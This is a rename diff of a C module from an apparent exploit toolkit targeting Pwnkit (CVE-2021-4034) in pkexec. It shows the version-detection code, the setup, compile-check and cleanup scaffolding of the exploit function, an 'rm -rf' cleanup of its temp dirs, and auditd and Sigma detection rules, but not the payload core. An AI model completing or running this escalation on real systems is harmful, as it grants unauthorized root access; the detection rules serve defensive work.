|
|
|
@@ -1,5 +1,5 @@
|
|
|
|
|
/*
|
|
|
|
|
* pwnkit_cve_2021_4034 — IAMROOT module
|
|
|
|
|
* pwnkit_cve_2021_4034 — SKELETONKEY module
|
|
|
|
|
*
|
|
|
|
|
* STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit follows.
|
|
|
|
|
*
|
|
|
|
@@ -13,15 +13,15 @@
|
|
|
|
|
* embedded .so generator) is well-documented; landing it is a
|
|
|
|
|
* follow-up commit.
|
|
|
|
|
*
|
|
|
|
|
* Pwnkit is the first USERSPACE LPE in IAMROOT — the rest of the
|
|
|
|
|
* Pwnkit is the first USERSPACE LPE in SKELETONKEY — the rest of the
|
|
|
|
|
* corpus is kernel bugs. The module shape is identical (same
|
|
|
|
|
* iamroot_module interface), but the affected-version check is
|
|
|
|
|
* skeletonkey_module interface), but the affected-version check is
|
|
|
|
|
* package-version-based rather than kernel-version-based. core/
|
|
|
|
|
* may eventually grow a `pkg_version` helper if a few more userspace
|
|
|
|
|
* modules need it.
|
|
|
|
|
*/
|
|
|
|
|
|
|
|
|
|
#include "iamroot_modules.h"
|
|
|
|
|
#include "skeletonkey_modules.h"
|
|
|
|
|
#include "../../core/registry.h"
|
|
|
|
|
|
|
|
|
|
#include <stdio.h>
|
|
|
|
@@ -74,14 +74,14 @@ static bool pkexec_version_vulnerable(const char *version_str)
|
|
|
|
|
return min < 121; /* 0.121 is the fix */
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
|
|
|
|
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
|
|
|
|
|
{
|
|
|
|
|
const char *pkexec_path = find_pkexec();
|
|
|
|
|
if (!pkexec_path) {
|
|
|
|
|
if (!ctx->json) {
|
|
|
|
|
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
|
|
|
|
|
}
|
|
|
|
|
return IAMROOT_OK;
|
|
|
|
|
return SKELETONKEY_OK;
|
|
|
|
|
}
|
|
|
|
|
if (!ctx->json) {
|
|
|
|
|
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
|
|
|
|
@@ -92,7 +92,7 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
|
|
|
|
char cmd[512];
|
|
|
|
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
|
|
|
|
|
FILE *p = popen(cmd, "r");
|
|
|
|
|
if (!p) return IAMROOT_TEST_ERROR;
|
|
|
|
|
if (!p) return SKELETONKEY_TEST_ERROR;
|
|
|
|
|
|
|
|
|
|
char line[256] = {0};
|
|
|
|
|
char *r = fgets(line, sizeof line, p);
|
|
|
|
@@ -101,12 +101,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
|
|
|
|
if (!ctx->json) {
|
|
|
|
|
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
|
|
|
|
|
}
|
|
|
|
|
return IAMROOT_TEST_ERROR;
|
|
|
|
|
return SKELETONKEY_TEST_ERROR;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
|
|
|
|
|
char *vp = strstr(line, "version");
|
|
|
|
|
if (!vp) return IAMROOT_TEST_ERROR;
|
|
|
|
|
if (!vp) return SKELETONKEY_TEST_ERROR;
|
|
|
|
|
vp += strlen("version");
|
|
|
|
|
while (*vp == ' ' || *vp == '\t') vp++;
|
|
|
|
|
|
|
|
|
@@ -124,12 +124,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx)
|
|
|
|
|
fprintf(stderr, "[i] pwnkit: distro backports may have fixed lower-numbered versions;\n"
|
|
|
|
|
" check `apt-cache policy policykit-1` / `rpm -q polkit` for the patch level\n");
|
|
|
|
|
}
|
|
|
|
|
return IAMROOT_VULNERABLE;
|
|
|
|
|
return SKELETONKEY_VULNERABLE;
|
|
|
|
|
}
|
|
|
|
|
if (!ctx->json) {
|
|
|
|
|
fprintf(stderr, "[+] pwnkit: pkexec version is ≥ 0.121 (fixed)\n");
|
|
|
|
|
}
|
|
|
|
|
return IAMROOT_OK;
|
|
|
|
|
return SKELETONKEY_OK;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/* ---- Pwnkit exploit (canonical Qualys-style PoC) -----------------
|
|
|
|
@@ -203,29 +203,29 @@ static bool write_file_str(const char *path, const char *content)
|
|
|
|
|
return ok;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
|
|
|
|
|
static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
|
|
|
|
{
|
|
|
|
|
/* Re-confirm vulnerable before doing anything visible. */
|
|
|
|
|
iamroot_result_t pre = pwnkit_detect(ctx);
|
|
|
|
|
if (pre != IAMROOT_VULNERABLE) {
|
|
|
|
|
skeletonkey_result_t pre = pwnkit_detect(ctx);
|
|
|
|
|
if (pre != SKELETONKEY_VULNERABLE) {
|
|
|
|
|
fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n");
|
|
|
|
|
return pre;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
const char *pkexec = find_pkexec();
|
|
|
|
|
if (!pkexec) return IAMROOT_PRECOND_FAIL;
|
|
|
|
|
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
|
|
|
|
|
|
|
|
|
|
if (geteuid() == 0) {
|
|
|
|
|
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
|
|
|
|
|
return IAMROOT_OK;
|
|
|
|
|
return SKELETONKEY_OK;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/* Working dir under /tmp. Permissive on permissions so pkexec
|
|
|
|
|
* (running as root) can read everything inside. */
|
|
|
|
|
char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX";
|
|
|
|
|
char workdir[] = "/tmp/skeletonkey-pwnkit-XXXXXX";
|
|
|
|
|
if (!mkdtemp(workdir)) {
|
|
|
|
|
perror("mkdtemp");
|
|
|
|
|
return IAMROOT_TEST_ERROR;
|
|
|
|
|
return SKELETONKEY_TEST_ERROR;
|
|
|
|
|
}
|
|
|
|
|
if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir);
|
|
|
|
|
|
|
|
|
@@ -238,7 +238,7 @@ static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx)
|
|
|
|
|
" that's a future enhancement (multi-arch, distro-portable).\n"
|
|
|
|
|
" For now: install build-essential or run on a host with cc.\n");
|
|
|
|
|
rmdir(workdir);
|
|
|
|
|
return IAMROOT_PRECOND_FAIL;
|
|
|
|
|
return SKELETONKEY_PRECOND_FAIL;
|
|
|
|
|
}
|
|
|
|
|
if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc);
|
|
|
|
|
|
|
|
|
@@ -339,22 +339,22 @@ fail:
|
|
|
|
|
snprintf(path, sizeof path, "%s/payload.c", workdir);
|
|
|
|
|
unlink(path);
|
|
|
|
|
rmdir(workdir);
|
|
|
|
|
return IAMROOT_EXPLOIT_FAIL;
|
|
|
|
|
return SKELETONKEY_EXPLOIT_FAIL;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
|
|
|
|
|
static skeletonkey_result_t pwnkit_cleanup(const struct skeletonkey_ctx *ctx)
|
|
|
|
|
{
|
|
|
|
|
(void)ctx;
|
|
|
|
|
/* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp.
|
|
|
|
|
/* Best-effort: nuke any leftover skeletonkey-pwnkit-* dirs in /tmp.
|
|
|
|
|
* Successful exploit cleans itself up (PWNKIT.so unlinks before
|
|
|
|
|
* execve /bin/sh). Failed exploit leaves the tmpdir. */
|
|
|
|
|
if (!ctx->json) {
|
|
|
|
|
fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n");
|
|
|
|
|
fprintf(stderr, "[*] pwnkit: removing /tmp/skeletonkey-pwnkit-* workdirs\n");
|
|
|
|
|
}
|
|
|
|
|
if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) {
|
|
|
|
|
if (system("rm -rf /tmp/skeletonkey-pwnkit-*") != 0) {
|
|
|
|
|
/* harmless — there may not be any */
|
|
|
|
|
}
|
|
|
|
|
return IAMROOT_OK;
|
|
|
|
|
return SKELETONKEY_OK;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/* ----- Embedded detection rules ----- */
|
|
|
|
@@ -362,13 +362,13 @@ static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx)
|
|
|
|
|
static const char pwnkit_auditd[] =
|
|
|
|
|
"# Pwnkit (CVE-2021-4034) — auditd detection rules\n"
|
|
|
|
|
"# Flag pkexec execution from non-root + look for argc==0 indicators.\n"
|
|
|
|
|
"-w /usr/bin/pkexec -p x -k iamroot-pwnkit\n"
|
|
|
|
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n"
|
|
|
|
|
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n";
|
|
|
|
|
"-w /usr/bin/pkexec -p x -k skeletonkey-pwnkit\n"
|
|
|
|
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"
|
|
|
|
|
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n";
|
|
|
|
|
|
|
|
|
|
static const char pwnkit_sigma[] =
|
|
|
|
|
"title: Possible Pwnkit exploitation (CVE-2021-4034)\n"
|
|
|
|
|
"id: 9e1d4f2c-iamroot-pwnkit\n"
|
|
|
|
|
"id: 9e1d4f2c-skeletonkey-pwnkit\n"
|
|
|
|
|
"status: experimental\n"
|
|
|
|
|
"description: |\n"
|
|
|
|
|
" Detects pkexec invocations with GCONV_PATH / CHARSET env tweaks (the\n"
|
|
|
|
@@ -387,7 +387,7 @@ static const char pwnkit_sigma[] =
|
|
|
|
|
"level: high\n"
|
|
|
|
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.4034]\n";
|
|
|
|
|
|
|
|
|
|
const struct iamroot_module pwnkit_module = {
|
|
|
|
|
const struct skeletonkey_module pwnkit_module = {
|
|
|
|
|
.name = "pwnkit",
|
|
|
|
|
.cve = "CVE-2021-4034",
|
|
|
|
|
.summary = "pkexec argv[0]=NULL → env-injection LPE (polkit ≤ 0.120)",
|
|
|
|
@@ -403,7 +403,7 @@ const struct iamroot_module pwnkit_module = {
|
|
|
|
|
.detect_falco = NULL,
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
void iamroot_register_pwnkit(void)
|
|
|
|
|
void skeletonkey_register_pwnkit(void)
|
|
|
|
|
{
|
|
|
|
|
iamroot_register(&pwnkit_module);
|
|
|
|
|
skeletonkey_register(&pwnkit_module);
|
|
|
|
|
}
|